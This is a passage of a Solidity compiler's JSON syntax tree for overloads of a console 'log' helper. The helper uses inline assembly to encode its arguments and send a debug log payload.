"scope":43089,"src":"279591:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43061,"name":"bytes32","nodeType":"ElementaryTypeName","src":"279591:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43063,"nodeType":"VariableDeclarationStatement","src":"279591:10:22"},{"assignments":[43065],"declarations":[{"constant":false,"id":43065,"mutability":"mutable","name":"m1","nameLocation":"279619:2:22","nodeType":"VariableDeclaration","scope":43089,"src":"279611:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43064,"name":"bytes32","nodeType":"ElementaryTypeName","src":"279611:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43066,"nodeType":"VariableDeclarationStatement","src":"279611:10:22"},{"assignments":[43068],"declarations":[{"constant":false,"id":43068,"mutability":"mutable","name":"m2","nameLocation":"279639:2:22","nodeType":"VariableDeclaration","scope":43089,"src":"279631:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43067,"name":"bytes32","nodeType":"ElementaryTypeName","src":"279631:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43069,"nodeType":"VariableDeclarationStatement","src":"279631:10:22"},{"assignments":[43071],"declarations":[{"constant":false,"id":43071,"mutability":"mutable","name":"m3","nameLocation":"279659:2:22","nodeType":"VariableDeclaration","scope":43089,"src":"279651:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43070,"name":"bytes32","nodeType":"ElementaryTypeName","src":"279651:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43072,"nodeType":"VariableDeclarationStatement","src":"279651:10:22"},{"assignments":[43074],"declarations":[{"constant":false,"id":43074,"mutability":"mutable","name":"m4","nameLocation":"279679:2:22","nodeType":"VariableDeclaration","scope":43089,"src":"279671:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43073,"name":"bytes32","nodeType":"ElementaryTypeName","src":"279671:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43075,"nodeType":"VariableDeclarationStatement","src":"279671:10:22"},{"assignments":[43077],"declarations":[{"constant":false,"id":43077,"mutability":"mutable","name":"m5","nameLocation":"279699:2:22","nodeType":"VariableDeclaration","scope":43089,"src":"279691:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43076,"name":"bytes32","nodeType":"ElementaryTypeName","src":"279691:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43078,"nodeType":"VariableDeclarationStatement","src":"279691:10:22"},{"assignments":[43080],"declarations":[{"constant":false,"id":43080,"mutability":"mutable","name":"m6","nameLocation":"279719:2:22","nodeType":"VariableDeclaration","scope":43089,"src":"279711:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43079,"name":"bytes32","nodeType":"ElementaryTypeName","src":"279711:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43081,"nodeType":"VariableDeclarationStatement","src":"279711:10:22"},{"AST":{"nativeSrc":"279740:831:22","nodeType":"YulBlock","src":"279740:831:22","statements":[{"body":{"nativeSrc":"279783:313:22","nodeType":"YulBlock","src":"279783:313:22","statements":[{"nativeSrc":"279801:15:22","nodeType":"YulVariableDeclaration","src":"279801:15:22","value":{"kind":"number","nativeSrc":"279815:1:22","nodeType":"YulLiteral","src":"279815:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"279805:6:22","nodeType":"YulTypedName","src":"279805:6:22","type":""}]},{"body":{"nativeSrc":"279886:40:22","nodeType":"YulBlock","src":"279886:40:22","statements":[{"body":{"nativeSrc":"279915:9:22","nodeType":"YulBlock","src":"279915:9:22","statements":[{"nativeSrc":"279917:5:22","nodeType":"YulBreak","src":"279917:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"279903:6:22","nodeType":"YulIdentifier","src":"279903:6:22"},{"name":"w","nativeSrc":"279911:1:22","nodeType":"YulIdentifier","src":"279911:1:22"}],"functionName":{"name":"byte","nativeSrc":"279898:4:22","nodeType":"YulIdentifier","src":"279898:4:22"},"nativeSrc":"279898:15:22","nodeType":"YulFunctionCall","src":"279898:15:22"}],"functionName":{"name":"iszero","nativeSrc":"279891:6:22","nodeType":"YulIdentifier","src":"279891:6:22"},"nativeSrc":"279891:23:22","nodeType":"YulFunctionCall","src":"279891:23:22"},"nativeSrc":"279888:36:22","nodeType":"YulIf","src":"279888:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"279843:6:22","nodeType":"YulIdentifier","src":"279843:6:22"},{"kind":"number","nativeSrc":"279851:4:22","nodeType":"YulLiteral","src":"279851:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"279840:2:22","nodeType":"YulIdentifier","src":"279840:2:22"},"nativeSrc":"279840:16:22","nodeType":"YulFunctionCall","src":"279840:16:22"},"nativeSrc":"279833:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"279857:28:22","nodeType":"YulBlock","src":"279857:28:22","statements":[{"nativeSrc":"279859:24:22","nodeType":"YulAssignment","src":"279859:24:22","value":{"arguments":[{"name":"length","nativeSrc":"279873:6:22","nodeType":"YulIdentifier","src":"279873:6:22"},{"kind":"number","nativeSrc":"279881:1:22","nodeType":"YulLiteral","src":"279881:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"279869:3:22","nodeType":"YulIdentifier","src":"279869:3:22"},"nativeSrc":"279869:14:22","nodeType":"YulFunctionCall","src":"279869:14:22"},"variableNames":[{"name":"length","nativeSrc":"279859:6:22","nodeType":"YulIdentifier","src":"279859:6:22"}]}]},"pre":{"nativeSrc":"279837:2:22","nodeType":"YulBlock","src":"279837:2:22","statements":[]},"src":"279833:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"279950:3:22","nodeType":"YulIdentifier","src":"279950:3:22"},{"name":"length","nativeSrc":"279955:6:22","nodeType":"YulIdentifier","src":"279955:6:22"}],"functionName":{"name":"mstore","nativeSrc":"279943:6:22","nodeType":"YulIdentifier","src":"279943:6:22"},"nativeSrc":"279943:19:22","nodeType":"YulFunctionCall","src":"279943:19:22"},"nativeSrc":"279943:19:22","nodeType":"YulExpressionStatement","src":"279943:19:22"},{"nativeSrc":"279979:37:22","nodeType":"YulVariableDeclaration","src":"279979:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"279996:3:22","nodeType":"YulLiteral","src":"279996:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"280005:1:22","nodeType":"YulLiteral","src":"280005:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"280008:6:22","nodeType":"YulIdentifier","src":"280008:6:22"}],"functionName":{"name":"shl","nativeSrc":"280001:3:22","nodeType":"YulIdentifier","src":"280001:3:22"},"nativeSrc":"280001:14:22","nodeType":"YulFunctionCall","src":"280001:14:22"}],"functionName":{"name":"sub","nativeSrc":"279992:3:22","nodeType":"YulIdentifier","src":"279992:3:22"},"nativeSrc":"279992:24:22","nodeType":"YulFunctionCall","src":"279992:24:22"},"variables":[{"name":"shift","nativeSrc":"279983:5:22","nodeType":"YulTypedName","src":"279983:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"280044:3:22","nodeType":"YulIdentifier","src":"280044:3:22"},{"kind":"number","nativeSrc":"280049:4:22","nodeType":"YulLiteral","src":"280049:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"280040:3:22","nodeType":"YulIdentifier","src":"280040:3:22"},"nativeSrc":"280040:14:22","nodeType":"YulFunctionCall","src":"280040:14:22"},{"arguments":[{"name":"shift","nativeSrc":"280060:5:22","nodeType":"YulIdentifier","src":"280060:5:22"},{"arguments":[{"name":"shift","nativeSrc":"280071:5:22","nodeType":"YulIdentifier","src":"280071:5:22"},{"name":"w","nativeSrc":"280078:1:22","nodeType":"YulIdentifier","src":"280078:1:22"}],"functionName":{"name":"shr","nativeSrc":"280067:3:22","nodeType":"YulIdentifier","src":"280067:3:22"},"nativeSrc":"280067:13:22","nodeType":"YulFunctionCall","src":"280067:13:22"}],"functionName":{"name":"shl","nativeSrc":"280056:3:22","nodeType":"YulIdentifier","src":"280056:3:22"},"nativeSrc":"280056:25:22","nodeType":"YulFunctionCall","src":"280056:25:22"}],"functionName":{"name":"mstore","nativeSrc":"280033:6:22","nodeType":"YulIdentifier","src":"280033:6:22"},"nativeSrc":"280033:49:22","nodeType":"YulFunctionCall","src":"280033:49:22"},"nativeSrc":"280033:49:22","nodeType":"YulExpressionStatement","src":"280033:49:22"}]},"name":"writeString","nativeSrc":"279754:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"279775:3:22","nodeType":"YulTypedName","src":"279775:3:22","type":""},{"name":"w","nativeSrc":"279780:1:22","nodeType":"YulTypedName","src":"279780:1:22","type":""}],"src":"279754:342:22"},{"nativeSrc":"280109:17:22","nodeType":"YulAssignment","src":"280109:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"280121:4:22","nodeType":"YulLiteral","src":"280121:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"280115:5:22","nodeType":"YulIdentifier","src":"280115:5:22"},"nativeSrc":"280115:11:22","nodeType":"YulFunctionCall","src":"280115:11:22"},"variableNames":[{"name":"m0","nativeSrc":"280109:2:22","nodeType":"YulIdentifier","src":"280109:2:22"}]},{"nativeSrc":"280139:17:22","nodeType":"YulAssignment","src":"280139:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"280151:4:22","nodeType":"YulLiteral","src":"280151:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"280145:5:22","nodeType":"YulIdentifier","src":"280145:5:22"},"nativeSrc":"280145:11:22","nodeType":"YulFunctionCall","src":"280145:11:22"},"variableNames":[{"name":"m1","nativeSrc":"280139:2:22","nodeType":"YulIdentifier","src":"280139:2:22"}]},{"nativeSrc":"280169:17:22","nodeType":"YulAssignment","src":"280169:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"280181:4:22","nodeType":"YulLiteral","src":"280181:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"280175:5:22","nodeType":"YulIdentifier","src":"280175:5:22"},"nativeSrc":"280175:11:22","nodeType":"YulFunctionCall","src":"280175:11:22"},"variableNames":[{"name":"m2","nativeSrc":"280169:2:22","nodeType":"YulIdentifier","src":"280169:2:22"}]},{"nativeSrc":"280199:17:22","nodeType":"YulAssignment","src":"280199:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"280211:4:22","nodeType":"YulLiteral","src":"280211:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"280205:5:22","nodeType":"YulIdentifier","src":"280205:5:22"},"nativeSrc":"280205:11:22","nodeType":"YulFunctionCall","src":"280205:11:22"},"variableNames":[{"name":"m3","nativeSrc":"280199:2:22","nodeType":"YulIdentifier","src":"280199:2:22"}]},{"nativeSrc":"280229:17:22","nodeType":"YulAssignment","src":"280229:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"280241:4:22","nodeType":"YulLiteral","src":"280241:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"280235:5:22","nodeType":"YulIdentifier","src":"280235:5:22"},"nativeSrc":"280235:11:22","nodeType":"YulFunctionCall","src":"280235:11:22"},"variableNames":[{"name":"m4","nativeSrc":"280229:2:22","nodeType":"YulIdentifier","src":"280229:2:22"}]},{"nativeSrc":"280259:17:22","nodeType":"YulAssignment","src":"280259:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"280271:4:22","nodeType":"YulLiteral","src":"280271:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"280265:5:22","nodeType":"YulIdentifier","src":"280265:5:22"},"nativeSrc":"280265:11:22","nodeType":"YulFunctionCall","src":"280265:11:22"},"variableNames":[{"name":"m5","nativeSrc":"280259:2:22","nodeType":"YulIdentifier","src":"280259:2:22"}]},{"nativeSrc":"280289:17:22","nodeType":"YulAssignment","src":"280289:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"280301:4:22","nodeType":"YulLiteral","src":"280301:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"280295:5:22","nodeType":"YulIdentifier","src":"280295:5:22"},"nativeSrc":"280295:11:22","nodeType":"YulFunctionCall","src":"280295:11:22"},"variableNames":[{"name":"m6","nativeSrc":"280289:2:22","nodeType":"YulIdentifier","src":"280289:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"280392:4:22","nodeType":"YulLiteral","src":"280392:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"280398:10:22","nodeType":"YulLiteral","src":"280398:10:22","type":"","value":"0x6168ed61"}],"functionName":{"name":"mstore","nativeSrc":"280385:6:22","nodeType":"YulIdentifier","src":"280385:6:22"},"nativeSrc":"280385:24:22","nodeType":"YulFunctionCall","src":"280385:24:22"},"nativeSrc":"280385:24:22","nodeType":"YulExpressionStatement","src":"280385:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"280429:4:22","nodeType":"YulLiteral","src":"280429:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"280435:2:22","nodeType":"YulIdentifier","src":"280435:2:22"}],"functionName":{"name":"mstore","nativeSrc":"280422:6:22","nodeType":"YulIdentifier","src":"280422:6:22"},"nativeSrc":"280422:16:22","nodeType":"YulFunctionCall","src":"280422:16:22"},"nativeSrc":"280422:16:22","nodeType":"YulExpressionStatement","src":"280422:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"280458:4:22","nodeType":"YulLiteral","src":"280458:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"280464:4:22","nodeType":"YulLiteral","src":"280464:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"280451:6:22","nodeType":"YulIdentifier","src":"280451:6:22"},"nativeSrc":"280451:18:22","nodeType":"YulFunctionCall","src":"280451:18:22"},"nativeSrc":"280451:18:22","nodeType":"YulExpressionStatement","src":"280451:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"280489:4:22","nodeType":"YulLiteral","src":"280489:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"280495:2:22","nodeType":"YulIdentifier","src":"280495:2:22"}],"functionName":{"name":"mstore","nativeSrc":"280482:6:22","nodeType":"YulIdentifier","src":"280482:6:22"},"nativeSrc":"280482:16:22","nodeType":"YulFunctionCall","src":"280482:16:22"},"nativeSrc":"280482:16:22","nodeType":"YulExpressionStatement","src":"280482:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"280518:4:22","nodeType":"YulLiteral","src":"280518:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"280524:2:22","nodeType":"YulIdentifier","src":"280524:2:22"}],"functionName":{"name":"mstore","nativeSrc":"280511:6:22","nodeType":"YulIdentifier","src":"280511:6:22"},"nativeSrc":"280511:16:22","nodeType":"YulFunctionCall","src":"280511:16:22"},"nativeSrc":"280511:16:22","nodeType":"YulExpressionStatement","src":"280511:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"280552:4:22","nodeType":"YulLiteral","src":"280552:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"280558:2:22","nodeType":"YulIdentifier","src":"280558:2:22"}],"functionName":{"name":"writeString","nativeSrc":"280540:11:22","nodeType":"YulIdentifier","src":"280540:11:22"},"nativeSrc":"280540:21:22","nodeType":"YulFunctionCall","src":"280540:21:22"},"nativeSrc":"280540:21:22","nodeType":"YulExpressionStatement","src":"280540:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43062,"isOffset":false,"isSlot":false,"src":"280109:2:22","valueSize":1},{"declaration":43065,"isOffset":false,"isSlot":false,"src":"280139:2:22","valueSize":1},{"declaration":43068,"isOffset":false,"isSlot":false,"src":"280169:2:22","valueSize":1},{"declaration":43071,"isOffset":false,"isSlot":false,"src":"280199:2:22","valueSize":1},{"declaration":43074,"isOffset":false,"isSlot":false,"src":"280229:2:22","valueSize":1},{"declaration":43077,"isOffset":false,"isSlot":false,"src":"280259:2:22","valueSize":1},{"declaration":43080,"isOffset":false,"isSlot":false,"src":"280289:2:22","valueSize":1},{"declaration":43052,"isOffset":false,"isSlot":false,"src":"280435:2:22","valueSize":1},{"declaration":43054,"isOffset":false,"isSlot":false,"src":"280558:2:22","valueSize":1},{"declaration":43056,"isOffset":false,"isSlot":false,"src":"280495:2:22","valueSize":1},{"declaration":43058,"isOffset":false,"isSlot":false,"src":"280524:2:22","valueSize":1}],"id":43082,"nodeType":"InlineAssembly","src":"279731:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43084,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"280596:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":43085,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"280602:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":43083,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"280580:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43086,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"280580:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43087,"nodeType":"ExpressionStatement","src":"280580:27:22"},{"AST":{"nativeSrc":"280626:214:22","nodeType":"YulBlock","src":"280626:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"280647:4:22","nodeType":"YulLiteral","src":"280647:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"280653:2:22","nodeType":"YulIdentifier","src":"280653:2:22"}],"functionName":{"name":"mstore","nativeSrc":"280640:6:22","nodeType":"YulIdentifier","src":"280640:6:22"},"nativeSrc":"280640:16:22","nodeType":"YulFunctionCall","src":"280640:16:22"},"nativeSrc":"280640:16:22","nodeType":"YulExpressionStatement","src":"280640:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"280676:4:22","nodeType":"YulLiteral","src":"280676:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"280682:2:22","nodeType":"YulIdentifier","src":"280682:2:22"}],"functionName":{"name":"mstore","nativeSrc":"280669:6:22","nodeType":"YulIdentifier","src":"280669:6:22"},"nativeSrc":"280669:16:22","nodeType":"YulFunctionCall","src":"280669:16:22"},"nativeSrc":"280669:16:22","nodeType":"YulExpressionStatement","src":"280669:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"280705:4:22","nodeType":"YulLiteral","src":"280705:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"280711:2:22","nodeType":"YulIdentifier","src":"280711:2:22"}],"functionName":{"name":"mstore","nativeSrc":"280698:6:22","nodeType":"YulIdentifier","src":"280698:6:22"},"nativeSrc":"280698:16:22","nodeType":"YulFunctionCall","src":"280698:16:22"},"nativeSrc":"280698:16:22","nodeType":"YulExpressionStatement","src":"280698:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"280734:4:22","nodeType":"YulLiteral","src":"280734:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"280740:2:22","nodeType":"YulIdentifier","src":"280740:2:22"}],"functionName":{"name":"mstore","nativeSrc":"280727:6:22","nodeType":"YulIdentifier","src":"280727:6:22"},"nativeSrc":"280727:16:22","nodeType":"YulFunctionCall","src":"280727:16:22"},"nativeSrc":"280727:16:22","nodeType":"YulExpressionStatement","src":"280727:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"280763:4:22","nodeType":"YulLiteral","src":"280763:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"280769:2:22","nodeType":"YulIdentifier","src":"280769:2:22"}],"functionName":{"name":"mstore","nativeSrc":"280756:6:22","nodeType":"YulIdentifier","src":"280756:6:22"},"nativeSrc":"280756:16:22","nodeType":"YulFunctionCall","src":"280756:16:22"},"nativeSrc":"280756:16:22","nodeType":"YulExpressionStatement","src":"280756:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"280792:4:22","nodeType":"YulLiteral","src":"280792:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"280798:2:22","nodeType":"YulIdentifier","src":"280798:2:22"}],"functionName":{"name":"mstore","nativeSrc":"280785:6:22","nodeType":"YulIdentifier","src":"280785:6:22"},"nativeSrc":"280785:16:22","nodeType":"YulFunctionCall","src":"280785:16:22"},"nativeSrc":"280785:16:22","nodeType":"YulExpressionStatement","src":"280785:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"280821:4:22","nodeType":"YulLiteral","src":"280821:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"280827:2:22","nodeType":"YulIdentifier","src":"280827:2:22"}],"functionName":{"name":"mstore","nativeSrc":"280814:6:22","nodeType":"YulIdentifier","src":"280814:6:22"},"nativeSrc":"280814:16:22","nodeType":"YulFunctionCall","src":"280814:16:22"},"nativeSrc":"280814:16:22","nodeType":"YulExpressionStatement","src":"280814:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43062,"isOffset":false,"isSlot":false,"src":"280653:2:22","valueSize":1},{"declaration":43065,"isOffset":false,"isSlot":false,"src":"280682:2:22","valueSize":1},{"declaration":43068,"isOffset":false,"isSlot":false,"src":"280711:2:22","valueSize":1},{"declaration":43071,"isOffset":false,"isSlot":false,"src":"280740:2:22","valueSize":1},{"declaration":43074,"isOffset":false,"isSlot":false,"src":"280769:2:22","valueSize":1},{"declaration":43077,"isOffset":false,"isSlot":false,"src":"280798:2:22","valueSize":1},{"declaration":43080,"isOffset":false,"isSlot":false,"src":"280827:2:22","valueSize":1}],"id":43088,"nodeType":"InlineAssembly","src":"280617:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"279515:3:22","parameters":{"id":43059,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43052,"mutability":"mutable","name":"p0","nameLocation":"279527:2:22","nodeType":"VariableDeclaration","scope":43090,"src":"279519:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43051,"name":"uint256","nodeType":"ElementaryTypeName","src":"279519:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43054,"mutability":"mutable","name":"p1","nameLocation":"279539:2:22","nodeType":"VariableDeclaration","scope":43090,"src":"279531:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43053,"name":"bytes32","nodeType":"ElementaryTypeName","src":"279531:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43056,"mutability":"mutable","name":"p2","nameLocation":"279551:2:22","nodeType":"VariableDeclaration","scope":43090,"src":"279543:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":43055,"name":"address","nodeType":"ElementaryTypeName","src":"279543:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":43058,"mutability":"mutable","name":"p3","nameLocation":"279563:2:22","nodeType":"VariableDeclaration","scope":43090,"src":"279555:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":43057,"name":"address","nodeType":"ElementaryTypeName","src":"279555:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"279518:48:22"},"returnParameters":{"id":43060,"nodeType":"ParameterList","parameters":[],"src":"279581:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43130,"nodeType":"FunctionDefinition","src":"280852:1334:22","nodes":[],"body":{"id":43129,"nodeType":"Block","src":"280924:1262:22","nodes":[],"statements":[{"assignments":[43102],"declarations":[{"constant":false,"id":43102,"mutability":"mutable","name":"m0","nameLocation":"280942:2:22","nodeType":"VariableDeclaration","scope":43129,"src":"280934:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43101,"name":"bytes32","nodeType":"ElementaryTypeName","src":"280934:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43103,"nodeType":"VariableDeclarationStatement","src":"280934:10:22"},{"assignments":[43105],"declarations":[{"constant":false,"id":43105,"mutability":"mutable","name":"m1","nameLocation":"280962:2:22","nodeType":"VariableDeclaration","scope":43129,"src":"280954:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43104,"name":"bytes32","nodeType":"ElementaryTypeName","src":"280954:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43106,"nodeType":"VariableDeclarationStatement","src":"280954:10:22"},{"assignments":[43108],"declarations":[{"constant":false,"id":43108,"mutability":"mutable","name":"m2","nameLocation":"280982:2:22","nodeType":"VariableDeclaration","scope":43129,"src":"280974:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43107,"name":"bytes32","nodeType":"ElementaryTypeName","src":"280974:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43109,"nodeType":"VariableDeclarationStatement","src":"280974:10:22"},{"assignments":[43111],"declarations":[{"constant":false,"id":43111,"mutability":"mutable","name":"m3","nameLocation":"281002:2:22","nodeType":"VariableDeclaration","scope":43129,"src":"280994:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43110,"name":"bytes32","nodeType":"ElementaryTypeName","src":"280994:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43112,"nodeType":"VariableDeclarationStatement","src":"280994:10:22"},{"assignments":[43114],"declarations":[{"constant":false,"id":43114,"mutability":"mutable","name":"m4","nameLocation":"281022:2:22","nodeType":"VariableDeclaration","scope":43129,"src":"281014:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43113,"name":"bytes32","nodeType":"ElementaryTypeName","src":"281014:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43115,"nodeType":"VariableDeclarationStatement","src":"281014:10:22"},{"assignments":[43117],"declarations":[{"constant":false,"id":43117,"mutability":"mutable","name":"m5","nameLocation":"281042:2:22","nodeType":"VariableDeclaration","scope":43129,"src":"281034:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43116,"name":"bytes32","nodeType":"ElementaryTypeName","src":"281034:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43118,"nodeType":"VariableDeclarationStatement","src":"281034:10:22"},{"assignments":[43120],"declarations":[{"constant":false,"id":43120,"mutability":"mutable","name":"m6","nameLocation":"281062:2:22","nodeType":"VariableDeclaration","scope":43129,"src":"281054:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43119,"name":"bytes32","nodeType":"ElementaryTypeName","src":"281054:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43121,"nodeType":"VariableDeclarationStatement","src":"281054:10:22"},{"AST":{"nativeSrc":"281083:828:22","nodeType":"YulBlock","src":"281083:828:22","statements":[{"body":{"nativeSrc":"281126:313:22","nodeType":"YulBlock","src":"281126:313:22","statements":[{"nativeSrc":"281144:15:22","nodeType":"YulVariableDeclaration","src":"281144:15:22","value":{"kind":"number","nativeSrc":"281158:1:22","nodeType":"YulLiteral","src":"281158:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"281148:6:22","nodeType":"YulTypedName","src":"281148:6:22","type":""}]},{"body":{"nativeSrc":"281229:40:22","nodeType":"Y